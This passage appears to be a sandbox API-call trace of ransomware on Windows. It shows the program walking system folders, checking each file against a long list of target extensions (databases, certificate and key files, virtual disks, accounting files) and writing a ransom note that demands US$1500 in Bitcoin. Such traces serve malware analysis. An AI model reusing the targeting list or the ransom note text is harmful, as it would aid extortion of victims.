(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.msg") returned 0 [0109.410] lstrlenA (lpString="*.msg") returned 5 [0109.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.edb") returned 0 [0109.410] lstrlenA (lpString="*.edb") returned 5 [0109.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.accdb") returned 0 [0109.410] lstrlenA (lpString="*.accdb") returned 7 [0109.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.odb") returned 0 [0109.410] lstrlenA (lpString="*.odb") returned 5 [0109.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.java") returned 0 [0109.411] lstrlenA (lpString="*.java") returned 6 [0109.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.asm") returned 0 [0109.411] lstrlenA (lpString="*.asm") returned 5 [0109.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.pfx") returned 0 [0109.411] lstrlenA (lpString="*.pfx") returned 5 [0109.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.pem") returned 0 [0109.411] lstrlenA (lpString="*.pem") returned 5 [0109.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.p12") returned 0 [0109.411] lstrlenA (lpString="*.p12") returned 5 [0109.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.gpg") returned 0 [0109.411] lstrlenA (lpString="*.gpg") returned 5 [0109.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.vsd") returned 0 [0109.411] lstrlenA (lpString="*.vsd") returned 5 [0109.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.odg") returned 0 [0109.411] lstrlenA (lpString="*.odg") returned 5 [0109.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.raw") returned 0 [0109.411] lstrlenA (lpString="*.raw") returned 5 [0109.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.nef") returned 0 [0109.412] lstrlenA (lpString="*.nef") returned 5 [0109.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.svg") returned 0 [0109.412] lstrlenA (lpString="*.svg") returned 5 [0109.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.psd") returned 0 [0109.412] lstrlenA (lpString="*.psd") returned 5 [0109.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.vmx") returned 0 [0109.412] lstrlenA (lpString="*.vmx") returned 5 [0109.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.vmdk") returned 0 [0109.412] lstrlenA (lpString="*.vmdk") returned 6 [0109.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.vdi") returned 0 [0109.412] lstrlenA (lpString="*.vdi") returned 5 [0109.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.lay6") returned 0 [0109.412] lstrlenA (lpString="*.lay6") returned 6 [0109.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.mpeg") returned 0 [0109.413] lstrlenA (lpString="*.mpeg") returned 6 [0109.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.djvu") returned 0 [0109.413] lstrlenA (lpString="*.djvu") returned 6 [0109.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.tiff") returned 0 [0109.413] lstrlenA (lpString="*.tiff") returned 6 [0109.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.backup") returned 0 [0109.413] lstrlenA (lpString="*.backup") returned 8 [0109.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.pdf") returned 0 [0109.413] lstrlenA (lpString="*.pdf") returned 5 [0109.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.cert") returned 0 [0109.413] lstrlenA (lpString="*.cert") returned 6 [0109.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.docm") returned 0 [0109.413] lstrlenA (lpString="*.docm") returned 6 [0109.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.xlsm") returned 0 [0109.413] lstrlenA (lpString="*.xlsm") returned 6 [0109.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.dwg") returned 0 [0109.414] lstrlenA (lpString="*.dwg") returned 5 [0109.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.nd") returned 0 [0109.414] lstrlenA (lpString="*.nd") returned 4 [0109.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.tlg") returned 0 [0109.414] lstrlenA (lpString="*.tlg") returned 5 [0109.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.lgb") returned 0 [0109.414] lstrlenA (lpString="*.lgb") returned 5 [0109.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.mov") returned 0 [0109.414] lstrlenA (lpString="*.mov") returned 5 [0109.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.xdw") returned 0 [0109.414] lstrlenA (lpString="*.xdw") returned 5 [0109.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.ods") returned 0 [0109.414] lstrlenA (lpString="*.ods") returned 5 [0109.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.wav") returned 0 [0109.414] lstrlenA (lpString="*.wav") returned 5 [0109.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.mp3") returned 0 [0109.414] lstrlenA (lpString="*.mp3") returned 5 [0109.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.aiff") returned 0 [0109.415] lstrlenA (lpString="*.aiff") returned 6 [0109.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.flac") returned 0 [0109.415] lstrlenA (lpString="*.flac") returned 6 [0109.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.m4a") returned 0 [0109.415] lstrlenA (lpString="*.m4a") returned 5 [0109.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\84ebf4aede3a599b943b3320ca704911\\Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", pszSpec="*.csv") returned 0 [0109.415] lstrlenA (lpString="*.csv") returned 5 [0109.415] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310969fe, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310969fe, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xe9687033, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xe4e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Security.ApplicationId.Wizards.AutomaticRuleGenerationWizard.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.416] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.416] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b8ee50, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6b8ee50, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xd6b8ee50, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="9d5e83b9d71682d12ac040f8f933b44a", cAlternateFileName="9D5E83~1")) returned 1 [0109.416] lstrcmpA (lpString1=".", lpString2="9d5e83b9d71682d12ac040f8f933b44a") returned -1 [0109.416] lstrcmpA (lpString1="..", lpString2="9d5e83b9d71682d12ac040f8f933b44a") returned -1 [0109.416] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\*.*") returned="*.*" [0109.417] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\", lpString2="9d5e83b9d71682d12ac040f8f933b44a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a" [0109.417] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a") returned 100 [0109.417] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b8ee50, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6b8ee50, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xd6b8ee50, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.417] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.417] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b8ee50, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6b8ee50, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xd6b8ee50, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.417] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.418] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.418] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310e2cb4, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310e2cb4, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xec4f1d88, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x4de00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.418] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.418] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll") returned -1 [0109.418] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll") returned -1 [0109.418] lstrcmpiA (lpString1="", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll") returned -1 [0109.418] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\*.*") returned="*.*" [0109.418] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\" [0109.418] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\") returned="" [0109.418] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\HOW TO DECRYPT FILES.txt" [0109.418] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.security.#\\9d5e83b9d71682d12ac040f8f933b44a\\how to decrypt files.txt")) returned 0xffffffff [0109.418] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.security.#\\9d5e83b9d71682d12ac040f8f933b44a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.435] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.435] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.437] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.437] CloseHandle (hObject=0x90) returned 1 [0109.437] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll" [0109.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.ems") returned 0 [0109.437] lstrlenA (lpString="*.ems") returned 5 [0109.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.db") returned 0 [0109.438] lstrlenA (lpString="*.db") returned 4 [0109.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.dbf") returned 0 [0109.438] lstrlenA (lpString="*.dbf") returned 5 [0109.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.myox") returned 0 [0109.438] lstrlenA (lpString="*.myox") returned 6 [0109.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.myo") returned 0 [0109.438] lstrlenA (lpString="*.myo") returned 5 [0109.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.qbw") returned 0 [0109.438] lstrlenA (lpString="*.qbw") returned 5 [0109.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.qbb") returned 0 [0109.438] lstrlenA (lpString="*.qbb") returned 5 [0109.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.qbm") returned 0 [0109.438] lstrlenA (lpString="*.qbm") returned 5 [0109.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.qbo") returned 0 [0109.438] lstrlenA (lpString="*.qbo") returned 5 [0109.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.qbx") returned 0 [0109.438] lstrlenA (lpString="*.qbx") returned 5 [0109.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.qba") returned 0 [0109.438] lstrlenA (lpString="*.qba") returned 5 [0109.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.qby") returned 0 [0109.439] lstrlenA (lpString="*.qby") returned 5 [0109.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.qbj") returned 0 [0109.439] lstrlenA (lpString="*.qbj") returned 5 [0109.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.ofx") returned 0 [0109.439] lstrlenA (lpString="*.ofx") returned 5 [0109.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.qif") returned 0 [0109.439] lstrlenA (lpString="*.qif") returned 5 [0109.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.mye") returned 0 [0109.439] lstrlenA (lpString="*.mye") returned 5 [0109.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.mbox") returned 0 [0109.439] lstrlenA (lpString="*.mbox") returned 6 [0109.439] PathMatchSpecA 